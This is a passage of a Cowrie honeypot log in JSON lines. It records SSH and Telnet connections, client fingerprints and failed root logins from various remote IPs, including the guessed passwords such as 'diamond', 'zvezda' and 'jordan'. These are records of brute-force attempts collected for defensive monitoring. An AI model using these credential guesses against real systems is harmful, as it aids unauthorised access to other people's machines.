sh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:58.190239Z","src_ip":"103.77.175.15","session":"c799199dba04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39438,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cbad5e61c87","protocol":"ssh","message":"New connection: 103.77.242.62:39438 (159.203.135.109:22) [session: 5cbad5e61c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:58.904977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:58.912539Z","src_ip":"103.77.242.62","session":"5cbad5e61c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diamond","message":"login attempt [root/diamond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:58.937116Z","src_ip":"103.77.175.15","session":"c799199dba04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:59.152981Z","src_ip":"103.77.242.62","session":"5cbad5e61c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010101","message":"login attempt [root/010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:59.875760Z","src_ip":"103.77.242.62","session":"5cbad5e61c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:00.188565Z","src_ip":"103.77.175.15","session":"c799199dba04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:01.117015Z","src_ip":"103.77.242.62","session":"5cbad5e61c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56431436538696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:28.532911Z","src_ip":"23.94.28.189","session":"adb74f4711b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57734,"dst_ip":"159.203.135.109","dst_port":22,"session":"940e724cd4f7","protocol":"ssh","message":"New connection: 89.223.69.22:57734 (159.203.135.109:22) [session: 940e724cd4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:40.567406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:40.571619Z","src_ip":"89.223.69.22","session":"940e724cd4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:40.688076Z","src_ip":"89.223.69.22","session":"940e724cd4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zvezda","message":"login attempt [root/zvezda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:41.038779Z","src_ip":"89.223.69.22","session":"940e724cd4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:42.157192Z","src_ip":"89.223.69.22","session":"940e724cd4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":32994,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0648fbb87c","protocol":"ssh","message":"New connection: 87.251.79.125:32994 (159.203.135.109:22) [session: cc0648fbb87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:45.915205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:45.919022Z","src_ip":"87.251.79.125","session":"cc0648fbb87c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:45.989994Z","src_ip":"87.251.79.125","session":"cc0648fbb87c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvzxcv","message":"login attempt [root/zxcvzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:46.204454Z","src_ip":"87.251.79.125","session":"cc0648fbb87c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:47.278720Z","src_ip":"87.251.79.125","session":"cc0648fbb87c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53038,"dst_ip":"10.17.0.5","dst_port":23,"session":"2610ba867cae","protocol":"telnet","message":"New connection: 50.6.8.71:53038 (10.17.0.5:23) [session: 2610ba867cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:37:47.440465Z"}
{"eventid":"cowrie.session.closed","duration":31.47777533531189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:38:18.918108Z","src_ip":"50.6.8.71","session":"2610ba867cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.55.59.85","src_port":34932,"dst_ip":"10.17.0.5","dst_port":23,"session":"82fb61c0b4c7","protocol":"telnet","message":"New connection: 70.55.59.85:34932 (10.17.0.5:23) [session: 82fb61c0b4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:38:21.911841Z"}
{"eventid":"cowrie.session.closed","duration":13.588711261749268,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:38:35.500430Z","src_ip":"70.55.59.85","session":"82fb61c0b4c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":34752,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b91a250c2e","protocol":"telnet","message":"New connection: 67.222.148.25:34752 (10.17.0.5:23) [session: 35b91a250c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:39:01.966090Z"}
{"eventid":"cowrie.session.closed","duration":0.015421628952026367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:39:01.981572Z","src_ip":"67.222.148.25","session":"35b91a250c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"2060877703f3","protocol":"telnet","message":"New connection: 50.6.8.71:47156 (10.17.0.5:23) [session: 2060877703f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:39:17.481371Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":39004,"dst_ip":"10.17.0.5","dst_port":23,"session":"d93dd1fed805","protocol":"telnet","message":"New connection: 23.94.28.189:39004 (10.17.0.5:23) [session: d93dd1fed805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:39:35.528860Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":42840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0e05ead68b","protocol":"telnet","message":"New connection: 23.94.28.189:42840 (10.17.0.5:23) [session: ab0e05ead68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:39:52.562448Z"}
{"eventid":"cowrie.session.closed","duration":38.88359546661377,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:39:56.364863Z","src_ip":"50.6.8.71","session":"2060877703f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.544050216674805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:40:11.072835Z","src_ip":"23.94.28.189","session":"d93dd1fed805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41756,"dst_ip":"10.17.0.5","dst_port":22,"session":"db4ca5030377","protocol":"ssh","message":"New connection: 103.149.170.125:41756 (10.17.0.5:22) [session: db4ca5030377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:40:31.292835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:40:31.297528Z","src_ip":"103.149.170.125","session":"db4ca5030377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:40:31.565445Z","src_ip":"103.149.170.125","session":"db4ca5030377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jordan","message":"login attempt [root/jordan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:40:32.369148Z","src_ip":"103.149.170.125","session":"db4ca5030377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:40:33.642048Z","src_ip":"103.149.170.125","session":"db4ca5030377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.231.148.160","src_port":48306,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f6ec629a3a1","protocol":"ssh","message":"New connection: 165.231.148.160:48306 (159.203.135.109:22) [session: 1f6ec629a3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:02.344682Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:02.464449Z","src_ip":"165.231.148.160","session":"1f6ec629a3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.69.13.125","src_port":14107,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31c4e05a0cd","protocol":"telnet","message":"New connection: 201.69.13.125:14107 (159.203.135.109:23) [session: a31c4e05a0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:05.822641Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":56136,"dst_ip":"10.17.0.5","dst_port":22,"session":"c628381b1c84","protocol":"ssh","message":"New connection: 198.199.106.159:56136 (10.17.0.5:22) [session: c628381b1c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.336573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.341422Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.413558Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:03:8a:a9:1a:95:86:11:c4:90:61:3d:4d:98:55:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV9imudBnOaH2iIUlpv5Rbfh0B3Tl0xrqbPWw+R4M0ofAtFvON+htTGjLtTaSpQE88RWmdZl5gcXwHv3bSYbufnuX/fI+yABVyT3LgvHx2shTeUknjKEsPkxbwh5rmVNsof5qKncNanQiW2D0MaPlV1lIJgeyZf98b+aEf6ibODOvX3249FuwAzpJnecJP3ocalR8ll9edmvCrGzvQGfPoJq5Neu3G7KzDM5hzTA8m+NhIZfzYOC+jUJTjwmKKHGr+vNr+mB+5UGuowHWbRMBwykEA/kST1VkI8doeML4dgK3/KkYPmEFEd9oqeevnXI1b0CmK8inVFtM6/5tug8wf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:03:8a:a9:1a:95:86:11:c4:90:61:3d:4d:98:55:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.750384Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:03:8a:a9:1a:95:86:11:c4:90:61:3d:4d:98:55:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV9imudBnOaH2iIUlpv5Rbfh0B3Tl0xrqbPWw+R4M0ofAtFvON+htTGjLtTaSpQE88RWmdZl5gcXwHv3bSYbufnuX/fI+yABVyT3LgvHx2shTeUknjKEsPkxbwh5rmVNsof5qKncNanQiW2D0MaPlV1lIJgeyZf98b+aEf6ibODOvX3249FuwAzpJnecJP3ocalR8ll9edmvCrGzvQGfPoJq5Neu3G7KzDM5hzTA8m+NhIZfzYOC+jUJTjwmKKHGr+vNr+mB+5UGuowHWbRMBwykEA/kST1VkI8doeML4dgK3/KkYPmEFEd9oqeevnXI1b0CmK8inVFtM6/5tug8wf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.754823Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:a3:7f:9d:c7:cc:e3:ed:84:62:a1:30:16:82:53:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAsXkNLU8tzPK/7ZZut4zuAPE+OxsBOhtSnNXDJn/Q8z6MOT1HQTZv2sVzhqYJd3NCuQyHc34bD7gfO18xere7vbG6lJqiB9dMc7axY5qo71YVMpqIdaW0pg+Ec6ATPx/QpZfbK/Fa+/tcOrHLxEEiqkh4Dcm3F15lf5fDFZfsZ8BbrZMyX37rNfvZ/c8kylO0LMpU5Ec0DLatPte002HIEJ4lCH2G5PnKf8Yf48ew4RYIsKTzEKpHq/8PABgCfooQ73PH20BR589L1eiqF6JVwiOLXV3Bpnjoc+aB4LiUtMqyJjRNpZu/yAqYws0Iq4JNDwO+LM66l3mvqiFRs3bF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:a3:7f:9d:c7:cc:e3:ed:84:62:a1:30:16:82:53:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.829098Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:a3:7f:9d:c7:cc:e3:ed:84:62:a1:30:16:82:53:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAsXkNLU8tzPK/7ZZut4zuAPE+OxsBOhtSnNXDJn/Q8z6MOT1HQTZv2sVzhqYJd3NCuQyHc34bD7gfO18xere7vbG6lJqiB9dMc7axY5qo71YVMpqIdaW0pg+Ec6ATPx/QpZfbK/Fa+/tcOrHLxEEiqkh4Dcm3F15lf5fDFZfsZ8BbrZMyX37rNfvZ/c8kylO0LMpU5Ec0DLatPte002HIEJ4lCH2G5PnKf8Yf48ew4RYIsKTzEKpHq/8PABgCfooQ73PH20BR589L1eiqF6JVwiOLXV3Bpnjoc+aB4LiUtMqyJjRNpZu/yAqYws0Iq4JNDwO+LM66l3mvqiFRs3bF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.832965Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
